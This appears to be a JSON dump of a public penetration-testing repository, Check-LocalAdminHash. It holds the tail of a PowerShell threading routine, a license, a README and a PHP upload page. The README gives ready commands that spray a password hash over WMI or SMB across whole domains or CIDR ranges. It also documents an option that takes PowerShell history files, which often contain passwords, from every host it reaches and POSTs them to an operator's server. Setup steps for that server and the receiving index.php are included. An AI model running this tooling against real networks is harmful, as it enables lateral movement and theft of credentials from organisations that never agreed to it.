$Jobs[$Counter].AsyncWaitHandle\r\n            }\r\n            $Counter = $Counter + 1\r\n            $countb++}\r\n        \r\n        ##Now that the threads are \"warmed up\" it actually does the real threading...\r\n\r\n        ForEach ($Computer in $ComputerName) {\r\n\r\n            # make sure we get a server name\r\n            if ($Computer -ne '') {\r\n\r\n                While ($($Pool.GetAvailableRunspaces()) -le 0) {\r\n                    Start-Sleep -MilliSeconds 2000\r\n                }\r\n\r\n                # create a \"powershell pipeline runner\"\r\n                $PS += [powershell]::create()\r\n                $PS[$Counter].runspacepool = $Pool\r\n\r\n                # add the script block + arguments\r\n                $Null = $PS[$Counter].AddScript($ScriptBlock).AddParameter('Hostlist', $Computer)\r\n                if($ScriptParameters) {\r\n                    ForEach ($Param in $ScriptParameters.GetEnumerator()) {\r\n                        $Null = $PS[$Counter].AddParameter($Param.Name, $Param.Value)\r\n                    }\r\n                }\r\n\r\n                # start job\r\n                $Jobs += $PS[$Counter].BeginInvoke();\r\n\r\n                # store wait handles for WaitForAll call\r\n                $Wait += $Jobs[$Counter].AsyncWaitHandle\r\n            }\r\n            $Counter = $Counter + 1\r\n        }\r\n    }\r\n\r\n    end {\r\n\r\n        Write-Verbose \"Waiting for scanning threads to finish...\"\r\n        $WaitTimeout = Get-Date\r\n\r\n        # set a 60 second timeout for the scanning threads\r\n        while ($($Jobs | Where-Object {$_.IsCompleted -eq $False}).count -gt 0 -or $($($(Get-Date) - $WaitTimeout).totalSeconds) -gt 60) {\r\n                Start-Sleep -MilliSeconds 500\r\n            }\r\n\r\n        # end async call\r\n        for ($y = 0; $y -lt $Counter; $y++) {\r\n\r\n            try {\r\n                # complete async job\r\n                $PS[$y].EndInvoke($Jobs[$y])\r\n\r\n            } catch {\r\n                Write-Warning \"error: $_\"\r\n            }\r\n            finally {\r\n                $PS[$y].Dispose()\r\n            }\r\n        }\r\n        \r\n        $Pool.Dispose()\r\n        Write-Verbose \"All threads completed!\"\r\n    }\r\n}"
  },
  {
    "path": "LICENSE",
    "content": "BSD 3-Clause License\n\nCopyright (c) 2019, dafthack\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n1. Redistributions of source code must retain the above copyright notice, this\n   list of conditions and the following disclaimer.\n\n2. Redistributions in binary form must reproduce the above copyright notice,\n   this list of conditions and the following disclaimer in the documentation\n   and/or other materials provided with the distribution.\n\n3. Neither the name of the copyright holder nor the names of its\n   contributors may be used to endorse or promote products derived from\n   this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\nFOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n"
  },
  {
    "path": "README.md",
    "content": "# Check-LocalAdminHash\nCheck-LocalAdminHash is a PowerShell tool that attempts to authenticate to multiple hosts over either WMI or SMB using a password hash to determine if the provided credential is a local administrator. It's useful if you obtain a password hash for a user and want to see where they are local admin on a network. It is essentially a Frankenstein of two of my favorite tools along with some of my own code. It utilizes Kevin Robertson's (@kevin_robertson) Invoke-TheHash project for the credential checking portion. Additionally, the script utilizes modules from PowerView by Will Schroeder (@harmj0y) and Matt Graeber (@mattifestation) to enumerate domain computers to find targets for testing admin access against. \n\n![alt text](http://www.dafthack.com/Check-LocalAdminHash-Example.jpg)\n\nThe reason this script even exists is because on an assessment I wanted to gather all the PowerShell console history files (PSReadline) from every system on the network. The PSReadline console history is essentially the PowerShell version of bash history. It can include so many interesting things that people type into their terminals including passwords. So, included in this script is an option to exfiltrate all the PSReadline files as well. There is a bit of setup for this. See the end of the Readme for setup.\n\nFor more info read the blog here: https://www.blackhillsinfosec.com/check-localadminhash-exfiltrating-all-powershell-history/\n\n\n# Examples\n\n\n### Checking Local Admin Hash Against All Hosts Over WMI\nThis command will use the domain 'testdomain.local' to lookup all systems and then attempt to authenticate to each one using the user 'testdomain.local\\PossibleAdminUser' and a password hash over WMI.\n```PowerShell\nCheck-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems\n```\n\n### Exfiltrate All PSReadline Console History Files\nThis command will use the domain 'testdomain.local' to lookup all systems and then attempt to authenticate to each one using the user 'testdomain.local\\PossibleAdminUser' and a password hash over WMI. It then attempts to locate PowerShell console history files (PSReadline) for each profile on every system and then POST's them to a web server. See the bottom of the Readme for server setup.\n\n```PowerShell\nCheck-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems -ExfilPSReadline\n```\n\n### Using A CIDR Range\nThis command will use the provided CIDR range to generate a target list and then attempt to authenticate to each one using the local user 'PossibleAdminUser' and a password hash over WMI.\n```PowerShell\nCheck-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -CIDR 192.168.1.0/24\n```\n\n\n### Using Target List and SMB and Output to File\nThis command will use the provided targetlist and attempt to authenticate to each host using the local user 'PossibleAdminUser' and a password hash over SMB.\n```PowerShell\nCheck-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -TargetList C:\\temp\\targetlist.txt -Protocol SMB | Out-File -Encoding Ascii C:\\temp\\local-admin-systems.txt\n```\n\n\n### Single Target\nThis command attempts to perform a local authentication for the user Administrator against the system 192.168.0.16 over SMB.\n```PowerShell\nCheck-LocalAdminHash -TargetSystem 192.168.0.16 -Username Administrator -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -Protocol SMB\n```\n\n### Check-LocalAdminHash Options\n```\nUsername - The Username for attempting authentication.\nPasswordHash - Password hash of the user.\nTargetSystem - Single hostname or IP for authentication attempt.\nTargetList - A list of hosts to scan one per line\nAllSystems - A switch that when enabled utilizes PowerView modules to enumerate all domain systems. This list is then used to check local admin access.\nDomain - This is the domain that PowerView will utilize for discovering systems.\nUserDomain - This is the user's domain to authenticate to each system with. Don't use this flag if using a local cred instead of domain cred.\nProtocol - This is the setting for whether to check the hash using WMI or SMB. Default is 'WMI' but set it to 'SMB' to check that instead.\nCIDR - Specify a CIDR form network range such as 192.168.0.0/24\nThreads - Defaults to 5 threads. (I've run into some odd issues setting threads more than 15 with some results not coming back.)\nExfilPSReadline - For each system where auth is successful it runs a PowerShell command to locate PSReadLine console history files (PowerShell command history) and then POSTS them to a web server. See the Readme for server setup. \n```\n\n## PSReadline Exfiltration Setup\n**This is your warning** that you are about to setup an Internet-facing server that will accept file uploads. Typically, this is a very bad thing to do. So definitely take precautions when doing this. I would recommend **locking down firewall rules** so that only the IP that will be uploading PSReadline files can hit the web server. Also, while we are on the topic of security, this will work just fine with an HTTPS connection so setup your domain and cert so that the PSReadline files are sent encrypted over the network. You have been warned...\n\n  * Setup a server wherever you would like the files to be sent. This server must be reachable over HTTP/HTTPS from each system.\n\n  * Copy the index.php script from this repo and put it in /index.php in the web root (/var/www/html) on your web server.\n\n  * Make an uploads directory\n\n  ``mkdir /var/www/html/uploads\n``\n\n  * Modify the permissions of this directory \n\n  ``chmod 0777 /var/www/html/uploads\n``\n\n  * Make sure php is installed\n\n  ``apt-get install php\n``\n\n  * Restart Apache\n  \n  ``service apache2 restart\n``\n\n  * In the Check-LocalAdminHash.ps1 script itself scroll down to the \"Gen-EncodedUploadScript\" function and modify the \"$Url\" variable right under \"$UnencodedCommand\". Point it at your web server index.php page. I haven't figured out how to pass the UploadUrl variable into that section of the code that ends up getting encoded and run on target systems so hardcode it for now.\n\nNow when you run Check-LocalAdminHash with the -ExfilPSReadline flag it should attempt to POST each PSReadline (if there are any) to your webserver.\n\n![alt text](http://www.dafthack.com/powershell-history-results.jpg)\n\n## Credits\nCheck-LocalAdminHash is pretty much a Frankenstein of two of my favorite tools, PowerView and Invoke-TheHash. 95% of the code is from those two tools. So the credit goes to Kevin Robertson (@kevin_robertson) for Invoke-TheHash, and credit goes to Will Schroeder (@harmj0y), Matt Graeber (@mattifestation) (and anyone else who worked on PowerView). Without those two tools this script wouldn't exist. Also shoutout to Steve Borosh (@424f424f) for help with the threading and just being an all around awesome dude.\n\nInvoke-TheHash - https://github.com/Kevin-Robertson/Invoke-TheHash\n\nPowerView - https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1\n"
  },
  {
    "path": "index.php",
    "content": "\r\n//Adapted from https://gist.github.com/taterbase/2688850\r\n<!DOCTYPE html>\r\n<html>\r\n<head>\r\n  <title>Upload your files</title>\r\n</head>\r\n<body>\r\n  <form enctype=\"multipart/form-data\" action=\"index.php\" method=\"POST\">\r\n    <p>Upload your file</p>\r\n    <input type=\"file\" name=\"uploaded_file\"></input><br />\r\n    <input type=\"submit\" value=\"Upload\"></input>\r\n  </form>\r\n</body>\r\n</html>\r\n<?PHP\r\n  if(!empty($_FILES['uploaded_file']))\r\n  {\r\n    $path = \"uploads/\";\r\n    $path = $path . basename( $_FILES['uploaded_file']['name']);\r\n    if(move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $path)) {\r\n      echo \"The file \".  basename( $_FILES['uploaded_file']['name']). \r\n      \" has been uploaded\";\r\n    } else{\r\n        echo \"There was an error uploading the file, please try again!\";\r\n    }\r\n  }\r\n?>"
  }
]